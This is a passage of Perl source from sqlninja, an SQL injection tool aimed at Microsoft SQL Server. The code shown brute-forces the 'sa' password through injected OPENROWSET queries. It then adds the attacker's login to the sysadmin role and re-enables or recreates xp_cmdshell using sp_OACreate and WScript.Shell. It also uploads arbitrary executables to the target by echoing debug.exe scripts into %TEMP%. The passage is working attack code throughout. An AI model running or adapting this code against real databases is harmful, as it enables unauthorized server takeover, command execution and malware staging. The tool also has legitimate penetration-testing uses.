* from OPENROWSET('SQLOLEDB',". 1048 "'Network=DBMSSOCN;Address=;uid=sa;pwd=". 1049 $password. 1050 "','select 1;".$cmd."');"; 1051 } 1052 my $time1 = time(); 1053 sendrequest($query); 1054 my $time2 = time(); 1055 return ($time2 - $time1); 1056} 1057 1058# Depending on whether a wordlist has been specified, choose the 1059# bruteforcing method 1060sub brute 1061{ 1062 if ($wordlist eq "") { 1063 print "[+] No wordlist specified: using incremental ". 1064 "bruteforce\n"; 1065 bruteincr(); 1066 } else { 1067 print "[+] Wordlist has been specified: using ". 1068 "dictionary-based bruteforce\n"; 1069 brutedict(); 1070 } 1071} 1072 1073 1074# Bruteforce the sa account password using the remote/incremental approach and 1075# performs the privilege escalation 1076# It splits the job in chunks, with the following logic: 1077# 1st chunk: passwords of 1 characters 1078# 2nd chunk: passwords of 2 characters 1079# 3rd chunk: passwords of 3 characters 1080# For larger characters, sqlninja splits the job: for each chunk, the first 1081# part of the passwords is fixed and only the last three chars are incremented 1082# So, for a password of 4 characters we will have the following chunks: 1083# 1 - a+++ 1084# 2 - b+++ 1085# and so on. The idea behind that is that if the password is 'abcdef' we don't 1086# want the code to run all the way to 'zzzzzz'. Of course, we could use just 1087# one big chunk that for each cycle checks if xp_execresultset succeeded, but 1088# the additional check, repeated for each cycle, would slow down the attack. 1089sub bruteincr 1090{ 1091 my $plength = -1; 1092 print " Max password length"; 1093 while ($plength > 10 or $plength < 1) { 1094 print " [min:1 max:10]\n> "; 1095 $plength = <STDIN>; 1096 chomp $plength; 1097 } 1098 my $charnum = -1; 1099 print " Charset to use:\n". 1100 " 1) {a-z}{0-9}\n". 1101 " 2) {a-z}{0-9}-+_!{}[],.\n". 1102 " 3) {a-z}{0-9}-+_!{}[],.@#\$%^'*\(\)=:\"\\/<>"; 1103 while ($charnum > 3 or $charnum < 1) { 1104 print "\n> "; 1105 $charnum = <STDIN>; 1106 chomp $charnum; 1107 } 1108 my $charset= "abcdefghijklmnopqrstuvwxyz0123456789"; 1109 if ($charnum > 1) { 1110 $charset .= "-+_!{}[],."; 1111 } 1112 if ($charnum > 2) { 1113 $charset .= "@#\$%^'*\(\)=:\"\\/<>"; 1114 } 1115 my $charsetlength = length($charset); 1116 my $found = 0; 1117 # First round: 1 character 1118 print "[+] Trying passwords of length...1\n"; 1119 bruteround(1,$charset,0); 1120 $found = fingerprint_sysadmin(0); 1121 if ($found == 1) { 1122 print "[+] Done ! You are an administrator now ! :) \n"; 1123 exit(0); 1124 } 1125 if ($plength == 1) { 1126 bruteincrnotfound(); 1127 } 1128 1129 # Second round... 2 characters, and we also start doing some 1130 # time measuring 1131 print "[+] Trying passwords of length...2\n"; 1132 bruteround(2,$charset,0); 1133 $found = fingerprint_sysadmin(0); 1134 if ($found == 1) { 1135 print "[+] Done ! You are an administrator now ! :) \n"; 1136 exit(0); 1137 } 1138 if ($plength == 2) { 1139 bruteincrnotfound(); 1140 } 1141 1142 # Third round... 3 characters 1143 print "[+] Trying passwords of length...3\n"; 1144 my $time1 = time(); 1145 bruteround(3,$charset,0); 1146 my $time2 = time(); 1147 # Time check.... 1148 if (($time2 - $time1) < 3) { 1149 print "[-] Queries returning so quickly mean that something ". 1150 "is not working.\n". 1151 " Check configuration file\n"; 1152 exit(1); 1153 } 1154 $found = fingerprint_sysadmin(0); 1155 if ($found == 1) { 1156 print "[+] Done ! You are an administrator now ! :) \n"; 1157 exit(0); 1158 } 1159 if ($plength == 3) { 1160 bruteincrnotfound(); 1161 } 1162 1163 # Now we start trying 4+ sequences in separate chunks. Each chunk 1164 # varies the last 3 characters only 1165 my $i = 4; # Initial length 1166 my @pointchar; # Pointers to the charset 1167 my $pointcharcount; # Number of pointers 1168 while (($found == 0) and ($i <= $plength)) { 1169 print "[+] Trying passwords of length...".$i."\n"; 1170 # Initialize the pointers to the beginning of the charset 1171 for (my $j=0;$j<$i-3;$j++) { 1172 $pointchar[$j] = 0; 1173 } 1174 # How many pointers we have so far ? 1175 $pointcharcount = @pointchar; 1176 1177 # Start playing with the pointers, until the first one 1178 # has passed through all values 1179 while ($pointchar[0] <= ($charsetlength - 1)) { 1180 my $pointchar_ref = \@pointchar; 1181 if ($verbose == 1) { 1182 print "[+] Trying '"; 1183 for (my $z=0;$z<$pointcharcount;$z++) { 1184 print substr($charset,$pointchar[$z],1); 1185 } 1186 print "___' chunk\n"; 1187 } 1188 bruteround(3,$charset,$pointchar_ref); 1189 $found = fingerprint_sysadmin(0); 1190 if ($found == 1) { 1191 print "[+] Done ! You are an administrator". 1192 " now ! :)\n"; 1193 exit(0); 1194 } 1195 $pointchar[$pointcharcount-1]++; 1196 # If the least significative has passed through 1197 # the whole charset, we need to reset it to zero 1198 # and increase the next by one 1199 for (my $z=$pointcharcount-1;$z>0;$z--) { 1200 if ($pointchar[$z] > $charsetlength-1) { 1201 $pointchar[$z] = 0; 1202 $pointchar[$z-1]++; 1203 } 1204 } 1205 } 1206 # Step to password of one char more.... 1207 $i++; 1208 } 1209 if ($found == 1) { 1210 print "[+] Done ! You are an administrator now ! :) \n"; 1211 exit(0); 1212 } else { 1213 bruteincrnotfound(); 1214 } 1215} 1216 1217sub bruteincrnotfound 1218{ 1219 print "[-] Seems not to have worked. Try longer passwords or ". 1220 "a larger charset...\n"; 1221 exit(0); 1222} 1223 1224sub bruteround 1225{ 1226 my $plength = $_[0]; 1227 my $charset = $_[1]; 1228 my @pointchar; 1229 my $pointcharlen; 1230 if ($_[2] != 0) { 1231 @pointchar=@{$_[2]}; 1232 $pointcharlen=@pointchar; 1233 } 1234 1235 my $charlength = length($charset)+1; 1236 1237 my $chunkid; 1238 for (my $z=0;$z<$pointcharlen;$z++) { 1239 $chunkid .= substr($charset,$pointchar[$z],1); 1240 } 1241 # We need to double-escape the quotes in the chunk id 1242 $chunkid =~ s/'/''''/g; 1243 1244 my $query; 1245 1246 # Let's start the main query.... here's where things get funny 1247 1248 # First we declare all needed variables... 1249 $query = "declare \@p nvarchar(99),\@z nvarchar(10),\@s nvarchar(99), "; 1250 1251 # We need a cursor (and one variable) for each password character 1252 for (my $i=0;$i<$plength;$i++) { 1253 $query .= "\@".chr($i+97)." int, "; 1254 } 1255 $query .="\@q nvarchar (4000) "; 1256 1257 # We initialize all the cursors... 1258 for (my $i=0;$i<$plength;$i++) { 1259 $query .= "set \@".chr($i+97)."=1 "; 1260 } 1261 1262 # Then the charset, in which quotes must be escaped 1263 my $charset_ = $charset; 1264 $charset_ =~ s/'/''/g; 1265 $query .="set \@s=N'".$charset_."' "; 1266 1267 # And we start all the nested cycles... one per cursor 1268 for (my $i=0;$i<$plength;$i++) { 1269 $query .= "while \@".chr($i+97)."<".$charlength." begin "; 1270 } 1271 1272 # Cycle body: we build the password candidate... 1273 # We start by the characters common to this chunk 1274 $query .="set \@p=N'".$chunkid."' "; 1275 1276 # Then we add the rest 1277 for (my $i=0;$i<$plength;$i++) { 1278 $query .= "set \@z = substring(\@s,\@".chr($i+97).",1) "; 1279 $query .= "if \@z='''' set \@z='''''' "; # double escaping 1280 $query .="set \@p=\@p+\@z "; 1281 } 1282 1283 # ...and we try to add the current user to the sysadmin group 1284 $query .="set \@q=N'select 1 from OPENROWSET(''SQLOLEDB'',". 1285 "''Network=DBMSSOCN;Address=;uid=sa;pwd='+\@p+N''',". 1286 "''select 1;". 1287 "exec master.dbo.sp_addsrvrolemember '''''+". 1288 "system_user+N''''',''''sysadmin'''' '')' ". 1289 "exec master.dbo.xp_execresultset \@q,N'master' "; 1290 1291 # We close the cycles and update cursors accordingly 1292 for (my $i=$plength-1;$i>-1;$i--) { 1293 $query .= "set \@".chr($i+97)."=\@".chr($i+97)."+1 end ". 1294 "set \@".chr($i+97)."=1 "; 1295 } 1296 1297 # ...and finally send the bloody thing 1298 sendrequest($query); 1299} 1300 1301 1302 1303# Bruteforce the sa account password using the network/dictionary approach. 1304sub brutedict 1305{ 1306 # We fix $blindtime to 59 seconds, since bruteforcing might slow 1307 # down server responses. And after all, the 'waitfor' is executed 1308 # only once, so no big deal 1309 $blindtime = 59; 1310 print " Number of concurrent processes"; 1311 my $procnum = -1; 1312 while ($procnum > 10 or $procnum < 0) { 1313 print " [min:1 max:10 default:3]\n> "; 1314 $procnum = <STDIN>; 1315 chomp($procnum); 1316 if ($procnum eq "") { 1317 $procnum = 3; 1318 } 1319 } 1320 open(FILE,"<".$wordlist) || die "[-] Can't open wordlist file...". 1321 "exiting\n"; 1322 1323 my %procarray; 1324 my $procid; 1325 my $ninjasock = genfile(); 1326 unlink $ninjasock; 1327 # Create the socket to talk with children 1328 if ($verbose == 1) { 1329 print " [v] Creating UNIX socket for children messages\n"; 1330 } 1331 my $server = new IO::Socket::UNIX->new(Local => $ninjasock, 1332 Type => SOCK_DGRAM, 1333 Listen => 30) 1334 || die "can't create UNIX socket: $!\n"; 1335 1336 my $brutestarttime = time(); 1337 my $i = 0; 1338 if ($verbose == 1) { 1339 print " [v] Launching children processes\n"; 1340 } 1341 while ($i<$procnum) { 1342 $procid = fork(); 1343 # it's a child ? Get out of this cycle 1344 if ($procid == 0) { 1345 $i=$procnum; 1346 # the fork() failed ? Kill other children and exit 1347 } elsif (!defined($procid)) { 1348 while(my($p,$j)=each %procarray) { 1349 kill TERM => $p; 1350 } 1351 print "[-] fork failed: ".$!." ...exiting\n"; 1352 exit(1); 1353 # fork successful and this is the father... 1354 # so keep track and move on 1355 } else { 1356 $procarray{$procid}=0; 1357 $i++; 1358 } 1359 } 1360 # Children are all started by now, and they must start 1361 # their bruteforce 1362 if ($procid == 0) { 1363 $server->close; 1364 brutechild($ninjasock); 1365 } 1366 # The father, meanwhile, listens until either: 1367 # a) the wordlist is over 1368 # b) a child finds the correct password 1369 my $msg; 1370 my $finished = 0; 1371 my $candidate; 1372 $i = 0; 1373 print "[+] Bruteforcing the sa password. This might take a while\n"; 1374 $SIG{ALRM} = \&timed_out; 1375 while ($finished == 0) { 1376 eval { 1377 alarm($blindtime*3); 1378 $server->recv($msg,255); 1379 # $1: childpid 1380 # $2: opcode: 1381 # 0: request word 1382 # 1: found password 1383 # $3: password 1384 alarm(0); 1385 }; 1386 if ($msg eq "") { 1387 # This should not be necessary... but just in case 1388 while (my ($a,$b) = each %procarray) { 1389 kill TERM => $a; 1390 } 1391 print "[-] No news from children. Something went ". 1392 "wrong... exiting\n"; 1393 exit(1); 1394 } 1395 $msg =~ /^(\d+)\n(\d)\n(\S+)/; 1396 if ($2 == 0) { 1397 # The child is asking for a word to try 1398 if (defined($candidate=<FILE>)) { 1399 $i++; 1400 chomp($candidate); 1401 if (($verbose == 1) and ($i % 1000 == 0)) { 1402 print " [v] Fetching pwd n.".$i.": ". 1403 $candidate."\n"; 1404 } 1405 $server->send($candidate."\n"); 1406 } else { 1407 kill TERM => $1; 1408 delete($procarray{$1}); 1409 # when no more keys, exit 1410 if (keys(%procarray) == 0) { 1411 $finished = 1; 1412 } 1413 } 1414 } else { 1415 # We found the password ! 1416 # Visualize it, kill children, exit 1417 $password = $3; 1418 print " dba password is...: ".$password."\n"; 1419 my $elapsed = time() - $brutestarttime; 1420 print "bruteforce took ".$elapsed." seconds\n"; 1421 while (my ($a,$b) = each %procarray) { 1422 kill TERM => $a; 1423 } 1424 unlink $ninjasock; 1425 close FILE; 1426 # Now we do the escalation bit 1427 escalation(); 1428 exit(0); 1429 } 1430 } 1431 print "[-] Sorry... password not found. Try another wordlist\n"; 1432 unlink $ninjasock; 1433 close FILE; 1434 exit(0); 1435} 1436 1437sub timed_out 1438{ 1439 die "timeout"; 1440} 1441 1442# Each bruteforcing process uses this subprocedure 1443sub brutechild() 1444{ 1445 my $pwd; 1446 my $query; 1447 my $time1; 1448 my $time2; 1449 my $k; 1450 my $ninjasock=$_[0]; 1451 my $ninjasock1=genfile()."$$"; 1452 $k=IO::Socket::UNIX->new(Peer => $ninjasock, 1453 Local => $ninjasock1, 1454 Type => SOCK_DGRAM, 1455 Timeout => 10) 1456 || die "could not create UNIX socket\n"; 1457 1458 while (1) { 1459 $k->send($$."\n0\nnopwd"); 1460 $k->recv($pwd,255); 1461 chomp($pwd); 1462 # $pwd =~ s/ /%20/g; # If the password has whitespaces 1463 # $query = "select * from OPENROWSET('SQLOLEDB','';'sa';'".$pwd. 1464 $query = "select * from OPENROWSET('SQLOLEDB','Network=". 1465 "DBMSSOCN;Address=;uid=sa;pwd=".$pwd."',". 1466 "'waitfor delay ''0:0:".$blindtime."'';select 1;');"; 1467 $time1=time(); 1468 sendrequest($query); 1469 $time2=time(); 1470 if (($time2 - $time1) > ($blindtime - 2)) { 1471 # FOUND IT !! 1472 $k->send($$."\n1\n".$pwd); 1473 } 1474 } 1475 close $k; 1476 exit(0); 1477} 1478 1479# Add current user to the sysadmin server role. 1480# The code assumes that sp_addsrvrolemember hasn't been disabled (and I see 1481# no reason why a sysadmin should disable it). If it disabled, however, the 1482# solution is just to use OPENROWSET for every command. 1483# N.B.: Only new ODBC connections will have administrative rights ! 1484sub escalation 1485{ 1486 my $cmd; 1487 print "[+] Trying to add current user to sysadmin group\n"; 1488 $cmd = "declare \@u nvarchar(99), \@q nvarchar(999) ". 1489 "set \@q = N'select 1 from OPENROWSET(''SQLOLEDB'',". 1490 "''Network=DBMSSOCN;Address=;uid=sa;pwd=".$password."'',". 1491 "''select 1;". 1492 "exec master.dbo.sp_addsrvrolemember '''''+". 1493 "system_user+N''''',''''sysadmin'''' '')' ". 1494 "exec master.dbo.xp_execresultset \@q,N'master' "; 1495 sendrequest($cmd); 1496 print "[+] Done! New connections will be run with administrative ". 1497 "privileges! In case\n the server uses ODBC, you might have". 1498 " to wait a little bit\n (check sqlninja-howto.html)\n"; 1499 exit(0); 1500} 1501 1502# Recreate the xp_cmdshell procedure or an equivalent one on the target server. 1503# Original custom procedure by Antonin Foller (www.motobit.com), 1504# with the following hacks: 1505# 1. @Wait=1 to make inference possible 1506# 2. code incapsulated into sp_executesql to make 'create procedure' the 1507# first statement of the batch 1508sub resurrectxp 1509{ 1510 print "[+] Trying to \"resurrect\" the xp_cmdshell procedure\n"; 1511 print "[+] What version of SQL Server is this ?\n"; 1512 my $ver = "0"; 1513 my $version; 1514 my $cmd; 1515 my $command; 1516 my $result; 1517 while (($ver ne "1") and 1518 ($ver ne "2") and 1519 ($ver ne "f")) { 1520 print " 1: 2000\n"; 1521 print " 2: 2005\n"; 1522 print " f: fingerprint and act accordingly\n"; 1523 print "> "; 1524 $ver = <STDIN>; 1525 chomp($ver); 1526 if (($ver ne "1") and 1527 ($ver ne "2") and 1528 ($ver ne "f")) { 1529 print ">"; 1530 $version = "0"; 1531 } 1532 if ($ver eq "1") { 1533 $version = 2000; 1534 } elsif ($ver eq "2") { 1535 $version = 2005; 1536 } else { 1537 $version = fingerprint_version(); 1538 if ($version eq "2000") { 1539 print "[+] Target seems a SQL Server 2000\n"; 1540 } elsif ($version eq "2005") { 1541 print "[+] Target seems a SQL Server 2005\n"; 1542 } else { 1543 print "[-] Version fingerprint failed...\n"; 1544 } 1545 } 1546 } 1547 # If the user wants to use another name for the procedure (to be a 1548 # little more stealthy) then this code must not be executed 1549 if ($xp_name eq "xp_cmdshell") { 1550 if ($version == 2000) { 1551 print "[+] Trying to reactivate xp_cmdshell using ". 1552 "sp_addextendedproc...\n"; 1553 $cmd = "exec master..sp_addextendedproc 'xp_cmdshell',". 1554 "'xplog70.dll';"; 1555 } else { 1556 print "[+] Trying to reactivate xp_cmdshell using ". 1557 "sp_configure...\n"; 1558 $cmd = "exec master..sp_configure 'show advanced ". 1559 "options',1;reconfigure;exec master..". 1560 "sp_configure 'xp_cmdshell',1;reconfigure"; 1561 } 1562 if ($password ne "") { 1563 $cmd =~ s/'/''/g; 1564 # $cmd =~ s/ /%20/g; 1565 $cmd = "select * from OPENROWSET('SQLOLEDB','';'sa';'". 1566 $password."','select 1;".$cmd."')"; 1567 } 1568 $result = sendrequest($cmd); 1569 sleep(2); 1570 $result = fingerprint_shell("xp_cmdshell"); 1571 if ($result == 1) { 1572 print "[+] Yes ! Now xp_cmdshell is available\n"; 1573 exit(0); 1574 } else { 1575 print "[-] No... recreating xp_cmdshell failed\n"; 1576 # ...cleaning up :) 1577 if ($version == 2000) { 1578 $cmd = "exec master..sp_dropextendedproc ". 1579 "'xp_cmdshell';"; 1580 if ($password ne "") { 1581 $cmd =~ s/'/''/g; 1582 $cmd = "select * from OPENROWSET('SQL". 1583 "OLEDB','';'sa';'".$password."'". 1584 ",'select 1;".$cmd."')"; 1585 } 1586 $result = sendrequest($cmd); 1587 } 1588 1589 } 1590 } 1591 if ($version == 2005) { 1592 if ($verbose == 1) { 1593 print "[+] Activating sp_oacreate & C.\n"; 1594 } 1595 $cmd = "exec master..sp_configure 'show advanced options',1;". 1596 "reconfigure;". 1597 "exec master..sp_configure 'ole automation procedures'". 1598 ",1;reconfigure;"; 1599 $result = sendrequest($cmd); 1600 } 1601 # We are administrators without using OPENROWSET, then we can 1602 # create the new procedure 1603 if ($password eq "") { 1604 print "[+] Trying to create a new ".$xp_name." procedure..". 1605 ".\n"; 1606 $cmd = "declare \@ice nvarchar(999);set \@ice='CREATE PROCED". 1607 "URE ".$xp_name."(\@cmd varchar(255)) AS ". 1608 "DECLARE \@ID int ". 1609 "EXEC sp_OACreate ''WScript.Shell'',\@ID OUT ". 1610 "EXEC sp_OAMethod \@ID,''Run'',Null,\@cmd,0,1 ". 1611 "EXEC sp_OADestroy \@ID';". 1612 "exec master..sp_executesql \@ice;"; 1613 if ($version == 2005) { 1614 $cmd=$cmd."reconfigure;"; 1615 } 1616 $result = sendrequest($cmd); 1617 # print "[+] Testing if ".$xp_name." is working...\n"; 1618 sleep(2); 1619 $result = fingerprint_shell($xp_name); 1620 if ($result == 1) { 1621 print "[+] ".$xp_name." available ! \n"; 1622 } else { 1623 print "[-] Sorry.... it did not work\n"; 1624 } 1625 } else { 1626 print "[+] Trying to use openrowset + sp_oacreate...\n"; 1627 $cmd = "DECLARE \@ID int ". 1628 "EXEC sp_OACreate 'WScript.Shell',\@ID OUT ". 1629 "EXEC sp_OAMethod \@ID,'Run',Null,". 1630 "'ping -n ".$blindtime." 127.0.0.1',0,1 ". 1631 "EXEC sp_OADestroy \@ID"; 1632 $result = tryblind($cmd); 1633 if ($result > ($blindtime-2)) { 1634 print "[+] seems to work! Set xp_name to NULL in the ". 1635 "configuration file and enjoy!\n"; 1636 } else { 1637 print "[-] sorry... sp_oacreate seems to be disabled\n"; 1638 } 1639 } 1640 exit(0); 1641} 1642 1643 1644# upload $_[0] to the remote server 1645sub upload 1646{ 1647 if ($verbose == 1) { 1648 print " [v] Starting upload module\n"; 1649 } 1650 my $file = $_[0]; 1651 if (!(-e $file)) { 1652 print "[-] ".$file." was not found. Exiting\n"; 1653 exit(1); 1654 } 1655 if ($genscript == 1) { 1656 print "[+] -g switch detected. Generating debug script only\n"; 1657 } 1658 my $rounds; 1659 my @path = split(/\//,$file); 1660 my $filename = pop(@path); 1661 my $filesize = -s $file; 1662 # split filename and extension, keeping into account multiple extensions 1663 my @filearray = split(/\./,$filename); 1664 my $filearraysize = @filearray; 1665 if ($filearraysize > 2) { 1666 for (my $i = 1; $i < ($filearraysize-1); $i++) { 1667 $filearray[0] = $filearray[0].".".$filearray[$i]; 1668 } 1669 $filearray[1] = $filearray[$filearraysize - 1]; 1670 } 1671 if ($genscript == 0) { 1672 if ($verbose == 1) { 1673 print " [v] Deleting any previous instance of ".$filename."...\n"; 1674 } 1675 my $cmd = "del \%TEMP\%\\".$filearray[0].".*"; 1676 my $command = createcommand($cmd); 1677 my $result = sendrequest($command); 1678 # If the file is already in scr format, we assume that the size of the 1679 # exe is <64k and just upload it in one go 1680 if ($filearray[1] eq "scr") { 1681 print "[+] File is already in script format. I won't be able to check\n". 1682 " the correct size of the resulting binary\n"; 1683 uploadrnd($file, 0, -1,$filearray[1]); # -1 means "don't check size!" 1684 return; 1685 } 1686 } elsif ($filearray[1] eq "scr") { 1687 print "[-] ".$file." has already a scr extension. Are you sure you\n". 1688 " want to continue? (y/n)"; 1689 my $sure; 1690 unless (($sure eq "y") or ($sure eq "n")) { 1691 print "\n> "; 1692 $sure = <STDIN>; 1693 chomp($sure); 1694 if ($sure eq "n") { 1695 print "\n[-] Exiting....\n"; 1696 exit(0); 1697 } 1698 } 1699 } 1700 # If we are here, we were given a binary file 1701 # Measure file size and calculate how many rounds are needed 1702 my $rounds = int($filesize / 0xFEFF)+1; # 0x0100 reserved for debug.exe 1703 if ($rounds == 1) { 1704 # One round is enough. Create the script, upload it, convert it and exit 1705 makescr($file,"/tmp/".$filearray[0].".scr"); 1706 if ($genscript == 0) { 1707 uploadrnd("/tmp/".$filearray[0].".scr", 0, $filesize, $filearray[1]); 1708 system("rm /tmp/".$filearray[0].".scr"); 1709 } else { 1710 print "[+] Debug script created: /tmp/" 1711 .$filearray[0].".scr\n"; 1712 } 1713 return; 1714 } 1715 print "[+] We need to split the file into ".$rounds." chunks\n"; 1716 # Split the original files in $rounds chunks 1717 # Upload the various chunks and convert them 1718 open(FILE, "<".$file); 1719 binmode FILE; 1720 my $record; 1721 for (my $i=1; $i<=$rounds; $i++) { 1722 read(FILE, $record, 0xFEFF); 1723 open (OUT, ">/tmp/".$filearray[0].".exe_".$i); 1724 print OUT $record; 1725 close OUT; 1726 } 1727 for (my $i=1; $i<=$rounds; $i++) { 1728 my $chunksize = -s "/tmp/".$filearray[0].".exe_".$i; 1729 makescr("/tmp/".$filearray[0].".exe_".$i,"/tmp/" 1730 .$filearray[0].".scr_".$i); 1731 if ($genscript == 0) { 1732 uploadrnd("/tmp/".$filearray[0].".scr_". 1733 $i,$i,$chunksize,$filearray[1]); 1734 system("rm /tmp/".$filearray[0].".*_".$i); 1735 } else { 1736 system("rm /tmp/".$filearray[0].".exe_".$i); 1737 } 1738 } 1739 if ($genscript == 1) { 1740 print "[+] Debug scripts created: /tmp/".$filearray[0]. 1741 ".scr_X\n"; 1742 exit(0); 1743 } 1744 # Glue together the various chunks 1745 print "[+] Joining the various binary chunks together...\n"; 1746 my $cmd = "copy /b "; 1747 for (my $i=1; $i<$rounds; $i++) { 1748 $cmd .= "\%TEMP\%\\".$filearray[0].".exe_".$i." +"; 1749 } 1750 $cmd .= "\%TEMP\%\\".$filearray[0].".exe_".$rounds." \%TEMP\%\\" 1751 .$filearray[0].".exe."; 1752 my $command = createcommand($cmd); 1753 my $result = sendrequest($command); 1754 1755 # Check that the final size matches 1756 print "[+] Checking that the resulting ".$filearray[0].".exe " 1757 ."has the correct size...\n"; 1758 if ($verbose == 1) { 1759 print "[v] Expecting it to have ".$filesize." bytes\n"; 1760 } 1761 my $size_ok = checkremotesize($filearray[0].".exe",$filesize); 1762 if ($size_ok == 1) { 1763 print "[+] Filesize corresponds... enjoy! :)\n"; 1764 } else { 1765 print "[-] Filesize does not correspond. Something went ". 1766 "wrong\n"; 1767 } 1768 # Remove chunks 1769 $cmd = "del %TEMP%\\".$filearray[0].".exe_*"; 1770 $command = createcommand($cmd); 1771 $result = sendrequest($command); 1772} 1773 1774# Upload and conversion of a single round 1775sub uploadrnd{ 1776 my $cmd; 1777 my $command; 1778 my $result; 1779 my $file = $_[0]; 1780 my $round = $_[1]; 1781 my $filesize = $_[2]; 1782 my $extension = $_[3]; 1783 # print "extension = ".$extension."\n"; 1784 my @path = split(/\//,$file); 1785 my $filename = pop(@path); 1786 my @filearray = split(/\./,$filename); 1787 print "[+] Uploading ".$file." debug script............\n"; 1788 open (FILE, $file) || die "can't open file ".$file.": $!"; 1789 my $line; 1790 my $countlines = 0; 1791 # Count total lines in the file 1792 my $totallines; 1793 while ($line = <FILE>) { 1794 $totallines++; 1795 } 1796 close FILE; 1797 1798 # Upload the whole script thing 1799 open (FILE, $file); 1800 $line = <FILE>; 1801 $cmd = "echo n %TEMP%\\#temp# > \%TEMP\%\\".$filename; 1802 $command = createcommand($cmd); 1803 $result = sendrequest($command); 1804 $countlines++; 1805 $cmd = ""; 1806 # First n chunks of script 1807 for (my $i = 1; $i < int($totallines/$lines_per_req); $i++) { 1808 for (my $y=0; $y<($lines_per_req-1); $y++) { 1809 $line = <FILE>; 1810 # goddamned \r's .... >:| 1811 $line =~ s/\r//g; 1812 chomp($line); 1813 $cmd .= "echo ".$line." >> \%TEMP\%\\".$filename." && "; 1814 $countlines++; 1815 } 1816 $line = <FILE>; 1817 $line =~ s/\r//g; 1818 chomp($line); 1819 $cmd .= "echo ".$line." >> \%TEMP\%\\".$filename; 1820 $countlines++; 1821 $command = createcommand($cmd); 1822 $result = sendrequest($command); 1823 $cmd = ""; 1824 print $countlines."/".$totallines." lines written \r"; 1825 } 1826 # Last chunk 1827 while ($line = <FILE>) { 1828 $line =~ s/\r//g; 1829 chomp($line); 1830 $cmd = "echo ".$line." >> \%TEMP\%\\".$filename; 1831 $countlines++; 1832 $command = createcommand($cmd); 1833 $result = sendrequest($command); 1834 print $countlines."/".$totallines." lines written \r"; 1835 } 1836 print $totallines."/".$totallines." lines written \ndone!\n"; 1837 close FILE; 1838 1839 # Check that the exact number of lines was uploaded 1840 # We count the lines and store the result in a temporary file, then 1841 # we check the last token in that file 1842 my $delay; 1843 my $wrongscr = 0; 1844 # local $/=\1; 1845 # local $|=1; 1846 if ($verbose == 1) { 1847 print "[v] Checking number of uploaded lines\n"; 1848 } 1849 $cmd = "find /v /c \"zzzz\" \%TEMP\%\\".$filename." > \%TEMP\%\\lines.txt ". 1850 "& find \" ".$totallines."\" \%TEMP\%\\lines.txt > nul ". 1851 "& if not errorlevel = 1 ping -n ".$blindtime." 127.0.0.1 ". 1852 "& del \%TEMP\%\\lines.txt"; 1853 $command = createcommand($cmd); 1854 $delay = tryblind($command); 1855 if ($delay > ($blindtime-2)) { 1856 if ($verbose == 1) { 1857 print "[v] ".$filename." seems to have been ". 1858 "properly uploaded\n"; 1859 } 1860 } else { 1861 $wrongscr = 1; 1862 print "[-] ".$filename." seems not to have been uploaded". 1863 " correctly.\n"; 1864 print "[-] Checking whether it is there.... "; 1865 my $present = checkfile("\%TEMP\%\\$filename"); 1866 if ($present == 0) { 1867 print "no. User has not write privileges?\n"; 1868 exit(1); 1869 } 1870 print "yes.\n You want to count the uploaded lines? (y/n)"; 1871 my $resp=""; 1872 while (($resp ne "y") and ($resp ne "n")) { 1873 print "\n> "; 1874 $resp = <STDIN>; 1875 chomp($resp); 1876 } 1877 if ($resp eq "y") { 1878 checkscrlines($filename,$totallines); 1879 } 1880 1881 print "[-] You want me to try to create an exe anyway?"; 1882 $resp=""; 1883 while (($resp ne "y") and ($resp ne "n")) { 1884 print "\n> "; 1885 $resp = <STDIN>; 1886 chomp($resp); 1887 } 1888 if ($resp eq "n") { 1889 print "[-] Bye...\n"; 1890 delscr($filename); 1891 exit(1); 1892 } 1893 } 1894 1895 # Generate the binary file 1896 print "[+] Converting script to executable... might take a while\n"; 1897 $cmd = "debug < \%TEMP\%\\".$filename; 1898 $command = createcommand($cmd); 1899 $result = sendrequest($command); 1900 1901 # Rename the binary 1902 if ($extension eq "scr") { 1903 print " Which extension do you want to give the remote file? [Default: exe]\n > "; 1904 $extension = <STDIN>; 1905 chomp($extension); 1906 if ($extension eq "") { 1907 $extension = "exe"; 1908 } 1909 } 1910 my $exefile = $filearray[0].".".$extension; 1911 if ($round > 0) { 1912 $exefile .= "_".$round; 1913 } 1914 $cmd = "ren \%TEMP\%\\#TEMP# ".$exefile; 1915 $command=createcommand($cmd); 1916 $result = sendrequest($command); 1917 1918 delscr($filename); 1919 my $size_ok; 1920 # We check whether the exe file has the correct size 1921 unless ($filesize == -1) { 1922 print "[+] Checking that ".$exefile." has the expected filesize...\n"; 1923 if ($verbose == 1) { 1924 print "[v] Expecting it to have ".$filesize." bytes\n"; 1925 } 1926 $size_ok = checkremotesize($exefile,$filesize); 1927 if ($size_ok == 1) { 1928 print "[+] Filesize corresponds... :)\n"; 1929 return; 1930 } else { 1931 print "[-] Filesize does not correspond. Something might be wrong\n"; 1932 } 1933 } 1934 # We check whether the exe file is there.... 1935 print "[+] Checking whether ".$exefile." is there...\n"; 1936 $cmd = "if exist \%TEMP\%\\".$exefile." (ping -n ". $blindtime." 127.0.0.1)"; 1937 $command = createcommand($cmd); 1938 $delay = tryblind($command); 1939 if ($delay > ($blindtime - 2)) { 1940 # If we are here, a exe is present.... 1941 # Now let's check that its size is not zero (it can happen 1942 # if debug.exe fails) 1943 if ($verbose == 1) { 1944 print "[v] Checking whether ".$exefile." is empty\n"; 1945 } 1946 # Checking whether the exe file is empty 1947 $size_ok = checkremotesize($exefile,0); 1948 if ($size_ok == 1) { 1949 # Check is successful, therefore it's an empty exe 1950 print "[-] ".$exefile." seems to be there but empty. ". 1951 "Debug.exe has probably failed\n"; 1952 } else { 1953 # Non-empty exe 1954 if ($filesize == -1) { 1955 print "[+] ".$exefile." seems to be there :)\n"; 1956 } else { 1957 print "[-] A ".$exefile." seems to be there... can't be sure will work\n"; 1958 } 1959 } 1960 1961 } else { 1962 # If we get here, the exe is not there 1963 if ($wrongscr == 1) { 1964 print "[-] ".$exefile." was not found ". 1965 "(debug script corrupted)\n"; 1966 } else { 1967 print "[-] ".$exefile." was not found ". 1968 "(debug.exe not present?)\n"; 1969 } 1970 } 1971} 1972 1973 1974# Delete the uploaded script file 1975sub delscr 1976{ 1977 my $filename = $_[0]; 1978 if ($verbose == 1) { 1979 print "[v] Removing the original scr file\n"; 1980 } 1981 my $cmd = "del \%TEMP\%\\".$filename; 1982 my $command=createcommand($cmd); 1983 my $result = sendrequest($command); 1984} 1985 1986# Count the script uploaded lines 1987sub checkscrlines 1988{ 1989 my $filename = $_[0]; 1990 my $lines = $_[1]; 1991 1992 print "[-] Counting uploaded 